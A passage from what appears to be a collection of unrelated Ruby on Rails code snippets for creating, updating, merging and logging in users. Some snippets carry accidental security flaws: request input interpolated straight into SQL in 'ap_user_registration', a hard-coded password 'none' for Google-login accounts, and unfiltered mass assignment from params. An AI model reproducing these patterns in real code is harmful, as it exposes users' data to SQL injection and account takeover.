salt\n\t\t\tparams[:user][:password] = salted_password\n\t\telse\n\t\t\tif @user.status == 'pending'\n\t\t\t\t#set password to nil if user is activating so that they are required to put a password\n\t\t\t\tparams[:user][:password] = nil\n\t\t\telse\n\t\t\t\tparams[:user][:password] = @user.password\n\t\t\tend\n\t\tend\n\n\n\t\t# We must also hash the confirmation entry so the model can check them together\n#\t\tparams[:user][:password_confirmation] = salted_password\n \n #for the regular \"post\"ers make sure the country matches the state in case they changed it\n unless ( params[:user][:country_id].nil? || (params[:user][:country_id].to_i == @user.country_id) || (params[:user][:state_id] == '1') )\n unless Country.find(params[:user][:country_id]).states.collect{|s| s.id}.include?(params[:user][:state_id].to_i)\n #if the state isn't in the country then reset the state_id update and redirect\n params[:user][:state_id] = 1\n\n @user.update_attributes(params[:user])\n if @user.twitter_user\n @user.reward_tweet_bandstock_retroactively\n end\n redirect_to :action => \"state_select\"\n return true\n end\n end\n \n if params[:user][:phone]\n params[:user][:phone].gsub!(/[^0-9]/, '')#clean phone\n end\n @user.update_attributes(params[:user])\n \n success = @user.save\n if @user.twitter_user\n @user.reward_tweet_bandstock_retroactively\n end\n if success\n\t\t\tif @user.status == 'pending'\n\t\t\t\t@user.status = 'active'\n\t\t\tend\n\t\t\t\n\t\t\tsuccess = @user.save\n\t\tend \n \n respond_to do |format|\n format.html { \n unless success #&& photo_success\n render :action => 'edit'\n return false\n else\n flash[:notice] = \"Profile updated.\"\n redirect_to root_url\n end\n }\n format.js\n format.xml { head :ok }\n end\n\n end", "def update\n\n if @user.username == user_params[:username] && @user.email == user_params[:email]\n if user_params[:password].blank?\n sql_parts = [\"UPDATE users SET phone = ?, firstname = ?, lastname = ?, age = ?, updated_at = ?\",\n user_params[:phone], user_params[:firstname], user_params[:lastname], user_params[:age], Time.now]\n else\n sql_parts = [\"UPDATE users SET username = ?, email = ?, phone = ?, firstname = ?, lastname = ?, age = ?, updated_at = ?, password_digest = ?\",\n user_params[:username], user_params[:email], user_params[:phone], user_params[:firstname], user_params[:lastname], user_params[:age], Time.now, User.digest(user_params[:password])]\n end\n end\n\n sql = ApplicationRecord.send(:sanitize_sql_array, sql_parts)\n ApplicationRecord.connection.execute(sql)\n\n #respond_to do |format|\n # if @user.update(user_params)\n # format.html { redirect_to @user, notice: 'User was successfully updated.' }\n # format.json { render :show, status: :ok, location: @user }\n # else\n # format.html { render :edit }\n # format.json { render json: @user.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def populate_subscriber(user,same_as_senior,add_caregiver,email,params_profile)#,roles_users_hash = {})\n \tif same_as_senior == \"1\" #subscriber same as senior\n @user = (user.is_a?(User) ? user : User.find_by_id(user)) # avoid searching again\n else\n if add_caregiver != \"1\" #subscriber will also be a caregiver\n @user = User.populate_caregiver(email,user.to_i,nil,nil,params_profile)#,roles_users_hash) #sets up @user\n \t else #subscriber will not be a caregiver\n \t @user = User.new\n \t@user.email = email\n \t@subscriber_profile = Profile.new(params_profile)\n \t@subscriber_profile.save!\n \t@user.profile = @subscriber_profile\n\t \t \n \t@user[:is_new_subscriber] = true\n \t@user.save!\n end\n end\n @senior = User.find(user)\n\t role = @user.has_role 'subscriber', @senior\n\t @subscriber_user_id = @user.id\n end", "def new_facebook_signup\n \n @fb_data = fetch_facebook_params\n\n @user = Spree::User.where(email: @fb_data[:email]).first\n\n if @user.blank?\n @user = Spree::User.new(email: @fb_data[:email], facebook_token: @fb_data[:fb_token])\n \n @user.addresses.build\n @user.addresses.first.firstname = @fb_data[:firstname]\n @user.addresses.first.lastname = @fb_data[:lastname]\n\n\n else\n @user.update_attributes(facebook_token: @fb_data[:fb_token]) if @user.facebook_token != @fb_data[:fb_token] #update the token if @user_founds token is not same as the @fb_token\n sign_in(:spree_user, @user)\n redirect_to main_app.profile_users_path\n end\n\n end", "def create\n @user = User.external(user_params, request.headers[\"HTTP_APP_VERSION\"].to_i)\n if @user.errors.blank?\n render json: @user.user_show, status: :created\n if params[:device].present? and params[:device][:device_id].present?\n @device_data=Device.where(\"device_id\": params[:device][:device_id]).first\n @device_data.update(\"user_id\": @user.id) if @device_data.present?\n end\n else\n render_api_error(11, 401, \"error\", @user.try(:errors))\n end\n end", "def update\n id = params[\"id\"].to_i\n name = params[\"name\"]\n linkedin_connections = params[\"linkedin_connections\"].to_i\n facebook_connections = params[\"facebook_connections\"].to_i\n twitter_followers = params[\"twitter_followers\"].to_i\n\n user = User.find(id)\n user.update(\n id: id,\n name: name, \n linkedin_connections: linkedin_connections, \n facebook_connections: facebook_connections, \n twitter_followers: twitter_followers,\n social_connection_index: User.compute_social_connection(\n linkedin_connections,\n facebook_connections,\n twitter_followers\n )\n )\n end", "def user?\n @user = User.find_by(email: @email) if @userinfo\n\n # No user with that email so create the user with auth0_id.\n create_user_and_login @userinfo if @user.nil?\n end", "def setup_subscriber(params_hash)\n subscriber = subscriber_profile = nil # Something to begin with. We have to return some value.\n \n unless params_hash.blank?\n if params_hash[\"senior_object\"].nil? \n raise \"senior_object is needed so we know who the subscriber is a subscriber for\"\n \n elsif params_hash[\"same_as_senior\"] == true and params_hash[\"add_as_caregiver\"] == true\n raise \"senior cannot be caregiver of themselves\"\n end\n\n if params_hash[\"same_as_senior\"]\n subscriber = params_hash[\"senior_object\"]\n subscriber_profile = subscriber.profile unless subscriber.blank?\n \n elsif params_hash[\"add_as_caregiver\"] == true\n subscriber = User.populate_caregiver(params_hash[\"email\"],params_hash[\"senior_object\"].id, nil, nil,params_hash[\"profile_hash\"])\n subscriber_profile = subscriber.profile unless subscriber.blank?\n\n # FIXME: Incorrect condition here. where is params_hash[\"email\"] used?\n elsif !(params_hash[\"email\"].blank? || params_hash[\"profile_hash\"].blank?)\n subscriber = User.new\n subscriber.email = params_hash[\"email\"] unless params_hash[\"email\"].blank?\n subscriber_profile = Profile.new(params_hash[\"profile_hash\"])\n #\n # FIXME: profile should be saved \"after\" User? It has reference to user.id\n if subscriber_profile.valid? # check before saving. avoid tech crash on browser\n \tif subscriber_profile.save!\n \tsubscriber.profile = subscriber_profile\n \tsubscriber[:is_new_subscriber] = true\n \tsubscriber.save! rescue nil # tech stuff is not for browser\n \tend\n end\n end\n\n subscriber.has_role 'subscriber', params_hash[\"senior_object\"] unless subscriber.blank?\n end\n #\n # CHANGED: this method should return some value unless we use instance variables\n # returns: subscriber, subscriber_profile, success (boolean)\n return subscriber, subscriber_profile, \\\n ( !subscriber.blank? && !subscriber_profile.blank? && \\\n subscriber.is_a?(ActiveRecord::Base) && subscriber_profile.is_a?(ActiveRecord::Base) && \\\n subscriber.errors.count.zero? && subscriber_profile.errors.count.zero?\n )\n end", "def create\n @detailed_user = DetailedUser.new(detailed_user_params)\n if DetailedUser.find_by_user_id(@detailed_user.user_id)\n respond_to do |format|\n if @detailed_user.update(detailed_user_params)\n # Unsure if these lines are needed here - (mike may 13)\n # user = User.find_by_id(@detailed_user.user_id)\n # user.detailedUsers = true\n # user.save\n format.html { redirect_to @detailed_user, notice: 'Detailed user was successfully updated.' }\n format.json { render :show, status: :ok, location: @detailed_user }\n else\n format.html { render :edit }\n format.json { render json: @detailed_user.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n if @detailed_user.save\n # Unsure if these lines are needed here - (mike may 13)\n # user = User.find_by_id(@detailed_user.user_id)\n # user.detailedUsers = true\n # user.save\n format.html { redirect_to @detailed_user, notice: 'Detailed user was successfully created.' }\n format.json { render :show, status: :ok, location: @detailed_user }\n else\n format.html { render :edit }\n format.json { render json: @detailed_user.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end", "def find_or_create_user\n\n # create the user \n email = self.accesscode.to_s+\"@shuttlechallenge.ca\"\n user = User.where(email: email).first\n\n if user.nil? # no duplicate users please\n password = self.accesscode\n name = \"#{self.firstname} #{self.lastname}\"\n user = User.new(name: name, email: email, password: password)\n\n \n #create the access object for this user\n user.access = Access.new(code: password)\n\n\n\n #device\n user.device= Device.new(device: self.logger_id)\n user.save!\n\n end\n user\n end", "def register\n if params[:id]\n user = User.find(params[:id])\n user.update_attributes(params.only(\"first_name\",\"last_name\").merge(:status => :active,:app_version => params[:v]))\n else\n normalized_mobile_number = PhoneHandling.normalize_phone_number(params[:mobile_number])\n if user = User.find_by_mobile_number(normalized_mobile_number)\n user.status = :active\n user.app_version = params[:v]\n params[:first_name] and user.first_name = params[:first_name]\n params[:last_name] and user.last_name = params[:last_name]\n user.save!\n # Let's check the Notifications to see if this user has been invited...\n elsif n = Notification.to_number(normalized_mobile_number).first\n user = n.recipient\n user.update_attributes(params.only(\"first_name\",\"last_name\").merge(:status => :active,:app_version => params[:v]))\n else\n # Create a new user\n user = User.create!(params.only(\"first_name\",\"last_name\",\"mobile_number\").merge(:status => :active,:app_version => params[:v]) )\n end\n end\n set_and_cookie_current_user(user)\n render :json => user.attributes_for_app\n end", "def connect(user)\n user.purchases.each do |purchase|\n purchase.purchaser_id = self.id\n purchase.save\n end\n\n user.contributions.each do |contribution|\n contribution.user_id = self.id\n contribution.save\n end\n\n user.obligations.each do |obligation|\n obligation.user_id = self.id\n obligation.save\n end\n\n user.friendships.each do |friendship|\n friendship.user_id = self.id\n friendship.save\n end\n\n Friendship.where(friend: user).each do |friendship|\n friendship.friend_id = self.id\n friendship.save\n end\n\n user.memberships.each do |membership|\n membership.user_id = self.id\n membership.save\n end\n\n user.organized_trips.each do |trip|\n trip.organizer_id = self.id\n trip.save\n end\n\n self.facebook_id ||= user.facebook_id\n self.facebook_access_token ||= user.facebook_access_token\n self.facebook_access_token_expires_at ||= user.facebook_access_token_expires_at\n\n self.twitter_id ||= user.twitter_id\n self.twitter_access_token ||= user.twitter_access_token\n self.twitter_access_secret ||= user.twitter_access_secret\n\n self.save\n\n User.destroy(user.id)\n end", "def user_exists_mobile\n @user = User.none\n if !params[:email].nil?\n @user = User.find_by(email: params[:email].downcase)\n end\n if @user.blank?\n render json: {status: \"failure\"}\n else\n render json: {status: \"success\", user: @user, protege: @user.protege, card: @user.protege.card}\n end\n end", "def update_user!(user: nil)\n user_index = nil\n existing_user = nil\n\n users.each.with_index do |old_user, index|\n if old_user.email.casecmp(user.email.downcase).zero?\n user_index = index\n existing_user = old_user\n break\n end\n end\n\n if existing_user.nil?\n logger.debug(\"Couldn't update user #{user.email} because they don't exist\")\n raise \"Couldn't update user #{user.email} because they don't exist\"\n else\n users = self.users\n users[user_index] = user\n self.users = users\n logger.debug(\"Updating user #{existing_user.email}, writing out users.json to #{user_file_path}\")\n return true\n end\n end", "def create\n existing_user = User.find_by(email_id: params[:user][:email_id])\n if existing_user != nil\n if existing_user.is_realtor == true\n redirect_to login_path, notice: 'You are already registered as an Realtor'\n else\n existing_user.is_realtor = true\n existing_user.password = params[:user][:password]\n if existing_user.save\n add_realtor = Realtor.new(realtor_params)\n add_realtor.users_id = existing_user.id\n if add_realtor.save\n redirect_to login_path, notice: 'Realtor was successfully created.'\n else\n redirect_to login_path, notice: 'Error saving realtor.'\n end\n else\n redirect_to login_path, notice: 'Error saving user.'\n end\n end\n else\n @realtor = Realtor.new(realtor_params)\n @user = User.new(user_params)\n @user.is_realtor = true\n respond_to do |format|\n if @user.save\n @realtor.users_id = @user.id\n if @realtor.save\n format.html {redirect_to login_path, notice: 'Realtor was successfully created.'}\n format.json {render :show, status: :created, location: @realtor}\n else\n format.html {redirect_to login_path, notice: 'Error creating realtor'}\n format.json {render json: @realtor.errors, status: :unprocessable_entity}\n end\n else\n format.html {redirect_to login_path, notice: 'Error creating user. Please check input.'}\n format.json {render json: @user.errors, status: :unprocessable_entity}\n end\n end\n end\n end", "def new_user?(seminar,user)\n user = $app_ids[seminar][user].to_s\n user[0] == 48\nend", "def ensure_user(data)\n if @users.include?(data['id'].to_i)\n @users[data['id'].to_i]\n else\n @users[data['id'].to_i] = User.new(data, self)\n end\n end", "def perform(match_id, update, uid)\n puts \"UPDATE = #{update}\"\n current_user = User.find(uid)\n\n match_json = SteamController.get_match(match_id)\n\n begin\n\n match = Match.find(match_id.to_i)\n\n # -----\n # If we don't have the match data in the DB already, OR the update boolean has\n # been passed in as True which means the user has requested their match data\n # to be updated regardless, then update the match.\n # -----\n if (match == nil) || update\n\n # Only make a new match if match wasn't found in the DB. (remember, match could\n # already be in the DB and it should just be updated if \"update\" boolean was True)\n match = Match.new if (match == nil)\n\n match.players = []\n\n match.has_pro = false\n\n players = match_json['players']\n\n # -----\n # Parse player information from the game data.\n # -----\n players.each do |p|\n\n # Check if we have this player in our list of \"pro/ticketed\" players in the DB\n pro_in_db = Proplayer.find(p['account_id'].to_i)\n\n # -----\n # If the player is a \"pro\", then the match gets flagged with match.has_pro, the player\n # gets flagged with the \"pro\" boolean later, and the proplayer gets added to the user's\n # linked list of pros if it's not already there.\n # -----\n if pro_in_db\n pro = true\n match.has_pro = true\n puts \"adding pro player to user\"\n current_user.proplayers.push(pro_in_db) unless current_user.proplayers.find(pro_in_db.id)\n else\n pro = false\n end\n\n # -----\n # Parse out player match data and add it to the match\n # -----\n hero_name = Hero.find(p['hero_id']).name.downcase.gsub(\" \", \"_\")\n match.players.push(\n Player.new(\n id: p['account_id'],\n player_slot: p['player_slot'],\n hero: hero_name,\n item_0: p['item_0'],\n item_1: p['item_1'],\n item_2: p['item_2'],\n item_3: p['item_3'],\n item_4: p['item_4'],\n item_5: p['item_5'],\n kills: p['kills'],\n deaths: p['deaths'],\n assists: p['assists'],\n gold: p['gold'],\n last_hits: p['last_hits'],\n denies: p['denies'],\n level: p['level'],\n gold_per_min: p['gold_per_min'],\n xp_per_min: p['xp_per_min'],\n hero_damage: p['hero_damage'],\n tower_damage: p['tower_damage'],\n hero_healing: p['hero_healing'],\n gold_spent: p['gold_spent'],\n pro_player: pro\n ))\n end\n\n # -----\n # Parse out match information\n # -----\n match.radiant_win = match_json['radiant_win']\n match.duration = match_json['duration']\n match.start_time = match_json['start_time']\n match.id = match_json['match_id']\n\n # match.update will save the match if it doesn't exist and update it if it does\n match.update\n\n # Add this match to user's list of matches for quick retrieval later\n current_user.matches.push(match) unless current_user.matches.find(match.id)\n\n end\n \n rescue\n puts \"MATCH #{match_id} FUCKIN ERRORED DOG\"\n end\n \n end", "def create\n # # Why RAW SQL? Because the ORM version was SUPER slow! More than 30 secs to exeucte. Hence, this.\n # query = \"SELECT U.* FROM `users` U \n # INNER JOIN `user_role_maps` RM ON RM.user_id=U.id\n # INNER JOIN `roles` R ON R.id=RM.role_id\n # WHERE R.role='Volunteer' AND U.`phone_no` = '\"+user_params[:phone_no]+\"' AND U.is_deleted='0'\"\n # user = User.find_by_sql query\n\n # User login possibilites...\n # Phone number not found.\n # Found - but deleted(is_deleted = 1)\n # Role is not 'Volunteer'\n # Role is not assigned. At all.\n user = User.find_by_phone_no user_params[:phone_no]\n\n # Phone number not found.\n unless user\n #raise ActionController::RoutingError.new('Not Found')\n @data = {\n :id => 0,\n :is_fc => 0,\n :message => \"Couldn't find any users with that phone number(\" + user_params[:phone_no] + \")\",\n }\n else\n\n # Found - but deleted(is_deleted = 1)\n if(user[:is_deleted] == '1')\n @data = {\n :id => 0,\n :is_fc => 0,\n :message => \"User '\" + user[:first_name] + \" \" + user[:last_name] + \"' has been deleted from the system.\"\n }\n else\n roles_query = \"SELECT R.* FROM `user_role_maps` RM \n INNER JOIN `roles` R ON R.id=RM.role_id\n WHERE RM.user_id='\" + user[:id].to_s + \"'\"\n roles = Role.find_by_sql roles_query\n\n is_fc = 0\n vol = 0\n\n puts roles.inspect\n\n roles.each { |role|\n # Role is not 'Volunteer'\n # Role is not assigned. At all.\n if role[:role] == \"Volunteer\"\n vol = 1\n elsif role[:role] == \"Finance Fellow\"\n is_fc = 1\n end\n }\n\n\n if vol == 0\n @data = {\n :id => 0,\n :is_fc => 0,\n :message => \"User '\" + user[:first_name] + \" \" + user[:last_name] + \"' is not assigned a POC. Please let your CFR Fellow know.\"\n }\n else\n @data = {\n :id => user[:id],\n :is_fc => is_fc,\n :message => \"Login successful.\"\n }\n end\n end\n end\n end", "def getUserInfo(idUser)\n \n begin\n \n query = \"SELECT last_name,first_name,email,birthdate,facebook_id,profile_img FROM `#{USER_TABLE}` WHERE `id_user` = ?\"\n \n self.connect unless self.connected? # => connect to the DB server if not connected\n \n sth = @dbh.prepare(query)\n \n sth.execute(idUser)\n count=0\n userinf=false\n sth.fetch() { |row| \n userinf = Hash[\"last_name\" => self.to_utf8(row[0]),\n \"first_name\" => self.to_utf8(row[1]),\n \"email\" => row[2],\n \"birthdate\" => row[3],\n \"facebook_id\" => row[4],\n \"profile_img\" => row[5]]\n } \n \n sth.finish\n \n rescue DBI::DatabaseError => e\n puts \"An error occurred\"\n puts \"Error code: #{e.err}\"\n puts \"Error message: #{e.errstr}\"\n @dbh.rollback\n rescue Exception => e \n puts \"error!!! -> : #{e.to_s}\"\n \n ensure\n # disconnect from server\n @dbh.disconnect if @connected\n @connected=false\n end\n return userinf\n \n end", "def update_details\n user = User.find_by_id(params[:user_id])\n if user.update_attributes(:username => params[:user_name], :phone => params[:phone],\n :city => params[:city])\n render :json=> {:success=>true, :id=>user.id, :email=>user.email}, :status=>200\n return\n else\n warden.custom_failure!\n render :json=> user.errors, :status=>422\n end\n end", "def update\n if not params[:id]\n redirect_to root_path\n end\n user = User.find(params[:id])\n # update fields\n\n user.update_availability(user_params[:availability])\n\n\n user.first_name = user_params[:first_name]\n user.last_name = user_params[:last_name]\n user.age = user_params[:age]\n user.education = user_params[:education]\n user.school = user_params[:school]\n user.expertise = user_params[:expertise]\n user.description = user_params[:description]\n\n #user.certifications = user_params[:certifications]\n user.phone = user_params[:phone]\n user.zip = user_params[:zip]\n # languages\n user.lang1 = user_params[:lang1]\n user.lang1_fluency = user_params[:lang1_fluency]\n user.lang2 = user_params[:lang2]\n user.lang2_fluency = user_params[:lang2_fluency]\n # availability\n user.travel = user_params[:travel]\n user.time_commitment = user_params[:time_commitment]\n user.availability_comments = user_params[:availability_comments]\n unless params[:skills].blank?\n user.skills = Skill.find(params[:skills]).to_a\n end\n \n user.role = Role.get_role(user_params[:role_id])\n\n unless params[:const_exp].blank?\n user.construction_experiences = ConstructionExperience.find(params[:const_exp]).to_a\n end\n \n unless params[:des_exp].blank?\n user.design_experiences = DesignExperience.find(params[:des_exp]).to_a\n end\n\n unless params[:cert].blank?\n user.certifications = Certification.find(params[:cert]).to_a\n end\n \n unless params[:user][:avatar].nil?\n user.update_attribute(:avatar, params[:user][:avatar])\n end\n \n user.save\n \n # update complete flag\n if not user.complete\n all_fields_filled = true\n user_params.each do |k, v|\n if v.blank?\n all_fields_filled = false\n end\n end\n if all_fields_filled \n user.complete = true\n user.save\n else\n flash[:warning] = \"Some profile information is still missing. Please fill out the missing fields so that we can determine the best projects for you!\"\n end\n\n if not flash[:warning]\n flash[:notice] = \"Profile was successfully updated.\"\n end\n end\n\n redirect_to user_path(params[:id])\n end", "def create\n @user_info = UserInfo.new(user_info_params)\n @user_infos = UserInfo.all\n if @user_info.is_default == true\n @user_infos.each do |userinfo|\n userinfo.is_default = false\n userinfo.save\n end\n @user_info.is_default = true\n end\n @user_info.user = current_user\n @user_info.save\n end", "def update\n if @user.update(user_params)\n NotificationMailer.new(@user).personal_details_changed\n render json: @user, status: :ok\n else\n render json: @user.errors.full_messages, status: :unprocessable_entity\n end\n end", "def create_from_google(user_info)\n @user = User.find_or_create_by(uid: user_info[\"uid\"]) do |u|\n u.name = user_info[\"info\"][\"name\"]\n u.email = user_info[\"info\"][\"email\"]\n u.image_url = user_info[\"info\"][\"image\"]\n u.password = \"none\"\n end # Find or create user from Google data\n\n session[:user_id] = @user.id # Log user in by adding id to session hash\n redirect_to user_path(@user) # redirect to user show page\n end", "def associate_user\n \tfbUserIdString = params[:idString]\t\n \tuser = User.new(fbUserId:fbUserIdString)\n \tif user.valid?\t\n\t\t\t user = User.create(fbUserId:fbUserIdString)\n\t\t\t success = true\n\t\t end\n\t\t start_session(fbUserIdString)\n end", "def updatable_by?(user)\n active? &&\n updatable_by_rsa?(user) || space_memberships.active.lead_or_admin.exists?(user: user)\n end", "def ensure_user_byuname(user)\n users = db[:users]\n usr = users.first(:login => user)\n\n if usr.nil?\n u = retrieve_user_byusername(user)\n\n if u.nil?\n warn \"User #{user} does not exist\"\n return\n end\n\n email = unless u['email'].nil?\n if u['email'].strip == '' then\n nil\n else\n u['email'].strip\n end\n end\n\n geo = geolocate(location: u['location'])\n\n users.insert(:login => u['login'],\n :name => u['name'],\n :company => u['company'],\n :email => email,\n :fake => false,\n :deleted => false,\n :type => user_type(u['type']),\n :long => geo[:long],\n :lat => geo[:lat],\n :country_code => geo[:country_code],\n :state => geo[:state],\n :city => geo[:city],\n :created_at => date(u['created_at']))\n\n info \"Added user #{user}\"\n\n if user_type(u['type']) == 'ORG'\n info \"User #{user} is an organization. Retrieving members\"\n ensure_org(u['login'], true)\n end\n\n users.first(:login => user)\n else\n debug \"User #{user} exists\"\n usr\n end\n end", "def user_verified=(_arg0); end", "def new\n \n if request.env['omniauth.auth'].present?\n params = request.env[\"omniauth.params\"]\n\n @fb_data = fetch_facebook_params\n @user = Spree::User.where(email: @fb_data[:email]).first\n\n\n if (@user.blank? && params[\"login\"].present?) || (@user.present? && is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?)\n\n #here need to check if it's a fb registered user + in params we must receive login\n #if !is_ordinary_user?(@user.facebook_token) && params[\"login\"].present?\n #use the @not_yet_fb_signed_up to notify the message at the top.\n\n @not_yet_fb_signed_up = true\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n #user does not registered yet & coming for signup(or login params is blank.)\n elsif @user.blank? && params[\"login\"].blank?\n @user = Spree::User.new(email: @fb_data[:email], facebook_token: @fb_data[:fb_token], image: @fb_data[:image])\n @user.addresses.build\n @user.creditcards.build\n @user.addresses.first.firstname = @fb_data[:firstname]\n @user.addresses.first.lastname = @fb_data[:lastname]\n\n #user is registered & still trying for signup via facebook\n elsif @user.present? && params[\"login\"].blank?\n @registered_email = @user.email\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n else\n #update the token if @user_founds token is not same as the @fb_token\n @user.update_attributes(facebook_token: @fb_data[:fb_token], image: @fb_data[:image]) if @user.facebook_token != @fb_data[:fb_token]\n sign_in(:spree_user, @user)\n redirect_to spree.snack_queue_orders_path\n end\n\n else\n @user = Spree::User.new\n @user.addresses.build\n @user.creditcards.build\n\n end\n @subscriptions = Subscription.select('id, subscription_type', 'plan_price')\n @snacks = Spree::Product.limit(6)\n @snacks.sort_by! { |x| x[:name].downcase }\n\n end", "def update\n @user = User.find(params[:id])\n\n if params[:user].has_key?(:is_admin) && current_user.is_admin\n @user.is_admin = params[:user][:is_admin]\n end\n @user.assign_attributes(params[:user])\n did_save = @user.save\n \n if @user.fix_ude_approval_order_gaps?\n flash[:alert] = 'There were gaps in the approval order that have been automatically corrected'\n end\n\n\n respond_to do |format|\n if did_save \n prepare_contacts\n flash[:notice] = 'Changes have been saved'\n format.html { render :action=>:show }\n format.json { head :ok }\n else\n prepare_contacts\n format.html { render :action=>:show }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n \n end\n end", "def ensure_user_has_profile(user)\n unless user.person && user.person.profile.present?\n account = Account.to_adapter.get!(user.id)\n update_status = account.update_with_password({ \"name\" => user.username })\n end\n end", "def update?\n user == identity.user\n end", "def perform\n users = User.all\n\n users.each do |user|\n\n # Pull User status using Steam API\n url = \"http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=#{ENV[\"STEAM_WEB_API_KEY\"]}&steamids=#{user.steam_uid}\"\n parsed_data = JSON.parse(open(url).read)\n online_status = parsed_data[\"response\"][\"players\"][0][\"personastate\"]\n\n\n # Steam has many different status types, but anything above zero is indicative of the User having Steam open and being sign-in on at least one device\n if online_status > 0\n online_status = 1\n\n in_game_status = parsed_data[\"response\"][\"players\"][0][\"gameid\"]\n\n # If user is not in-game, in_game_status will be nil\n if in_game_status.nil?\n in_game_status = 0\n looking_to_play_status = 0\n else\n # Set Looking to play status based on game (Steamm returns app_id number when player is playing a game)\n current_game = user.owned_games.find_by(:app_id => in_game_status)\n looking_to_play_status = user.libraries.find_by(:game_id => current_game.id).default_looking_to_play_status\n end\n #If offline, player cannot be in a game and is not looking to play\n else\n in_game_status = 0\n looking_to_play_status = 0\n end\n\n # Store the user's last played game if they have played a game and this has been previously recorded in our database\n if user.in_game_status != 0 && in_game_status == 0\n user.last_played_game = user.in_game_status\n end\n\n #Update user entry\n user.online_status = online_status\n user.in_game_status = in_game_status\n user.looking_to_play_status = looking_to_play_status\n user.save\n end\n end", "def update\n if params.include?(:phone_number) and params.include?(:name) and params.include?(:address) and params.include?(:email) and params.include?(:description)\n phone_number = params[:phone_number]\n name = params[:name]\n address = params[:address]\n email = params[:email]\n description = params[:description]\n render json: update_user(phone_number, email, address, name, description)\n else\n result = {:success => false, :message => 'please check the paramaters'}\n render json: result\n end\n end", "def update!\n unless id\n raise \"user can not be updated before it is created.\"\n end\n hash = \"W10=\"\n\n payload = {\n \"id\" => id,\n \"email\" => @email_address,\n \"time_zone\" => @time_zone,\n \"country\" => @country,\n \"preferred_language\" => @language,\n \"receive_campaign_emails\" => \"true\",\n \"hash\" => hash,\n \"username\" => @email_address,\n \"last_login_at\" => get_last_login_at!,\n \"password\" => @password,\n \"password_confirmation\" => @confirm_password,\n \"user\" => {\n \"email\" => @email_address,\n \"password\" => @password,\n \"password_confirmation\" => @confirm_password,\n \"time_zone\" => @time_zone,\n \"receive_campaign_emails\" => \"true\",\n \"country\" => @country,\n \"preferred_language\" => @language\n }\n }\n\n response = authenticated_request(:put, \"api/client/users/#{id}\", payload: payload)\n response[:status]\n end", "def link_fb_connect(fb_user_id)\n unless fb_user_id.nil?\n #check for existing account\n existing_fb_user = ::User.find_by_fb_user_id(fb_user_id)\n #merge the existing account\n unless existing_fb_user.nil?\n merge_with(existing_fb_user)\n end\n #link the new one\n self.fb_user_id = fb_user_id\n save(false)\n end\n end", "def add_user uid\n # Need to test\n msg=\"\"\n puts self.size.to_s\n event = Event.find(self.event_id)\n if self.size >= event.maximum_team_size\n msg=\"Maximum Team Size Reached\"\n puts msg\n errors.add(:base, msg)\n return false\n end\n if uid.is_a? Integer\n user = User.find(uid)\n else\n # uid is email id of the person\n user = User.find_by_email(uid)\n end\n if user.nil?\n errors.add(:base, 'User with ' + uid.to_s + ' Not found')\n puts \"User with \" + uid.to_s + 'Not found'\n return false;\n else\n # Search if the user has already registered for the given event in some other team\n # Also check if that team registration has been declined\n if user.has_registered_for(self.event_id)\n errors.add(:base, 'User with ' + uid.to_s + ' has already registered for this event!')\n return false;\n #TODO Take care of duplicate users\n else\n #self.users << user # Add the user to the team\n sql = \"INSERT INTO teams_users (user_id, team_id, event_id) VALUES (#{user.id}, #{self.id}, #{self.event_id})\"\n ActiveRecord::Base.connection.execute(sql)\n end\n end\n\n if self.size >= event.minimum_team_size and self.size <= event.maximum_team_size\n self.isvalid=true\n self.save!\n end\n end", "def link_fb_connect(fb_user_id)\n unless fb_user_id.nil?\n #check for existing account\n existing_fb_user = metaclass.send(\"find_by_#{fb_user_name}\", fb_user_id)\n #unlink the existing account\n unless existing_fb_user.nil?\n existing_fb_user.send(\"#{fb_user_name}_id=\", nil)\n existing_fb_user.save(false)\n end\n #link the new one\n self.send(\"#{fb_user_name}_id=\", fb_user_id)\n save(false)\n end\n end", "def call(user)\n return unless user.invite_token\n invite = Invite.find_by_invite_token(user.invite_token)\n invite.update!(grader_id: user.id) if invite\n end", "def ap_user_registration\n\n @result = {}\n #logger.info\"===AP====login_info==========#{params[:user]}\"\n #resource = User.includes(:profile,:devices).find_by_edutorid(params[:user][:edutorid])\n name_user = params[:user][:edutorid].gsub(/ES-/, \"\")\n if !User.find_by_edutorid(params[:user][:edutorid]).nil?\n resource = User.includes(:profile,:devices).find_by_edutorid(params[:user][:edutorid])\n elsif !User.where(\"rollno = '#{name_user}'\").empty?\n resource = User.includes(:profile,:devices).where(\"rollno = '#{name_user}'\").first\n elsif !Profile.includes(:user).where(\"web_screen_name = '#{name_user}'\").empty?\n screen_name_id = Profile.includes(:user).where(\"web_screen_name = '#{name_user}'\").first.user_id\n resource = User.includes(:profile,:devices).find(screen_name_id)\n end\n\n mDeviceID = \"\"\n\n if !params[:user][:edutorid].blank?\n if !resource\n @result = @result.merge({sign_in: false,:edutorid_error_message=>'Edutorid not found in the database',:message=>'Invalid userid/password, enter correct userid/password'})\n respond_to do |format|\n format.json {render json: @result}\n end\n return\n end\n else\n @result = @result.merge({sign_in: false,:edutorid_error_message=>'edutorid is null',:message=>'Invalid userid/password, enter correct userid/password'})\n respond_to do |format|\n format.json {render json: @result}\n end\n return\n end\n\n if !params[:user][:password].blank?\n if resource && !resource.valid_password?(params[:user][:password])\n @result = @result.merge({sign_in: false,:password_error_message=>'wrong password',:message=>'Invalid userid/password, enter correct userid/password'})\n respond_to do |format|\n format.json {render json: @result}\n end\n return\n #return @result.to_json\n end\n else\n @result = @result.merge({sign_in: false,:password_error_message=>'password is null',:message=>'Invalid userid/password, enter correct userid/password'})\n respond_to do |format|\n format.json {render json: @result}\n end\n return\n end\n\n devices = Device.where(:mac_id=>params[:device][:mac_id])\n if !devices.empty?\n mDeviceID = devices.last.deviceid\n else\n mDeviceID = \"ES\"+get_device_id_sa;\n @myReturn = set_device_ignitor(resource,params,mDeviceID)\n end\n\n\n if !mDeviceID.nil?\n device = Device.find_by_deviceid(mDeviceID)\n if device.nil?\n @result = @result.merge({sign_in: false,:deviceid_error_message=>'Deviceid not found in the database',:message=>'Deviceid not found in the database'})\n end\n else\n @result = @result.merge({sign_in: false,:deviceid_error_message=>'deviceid is null',:message=>'deviceid is 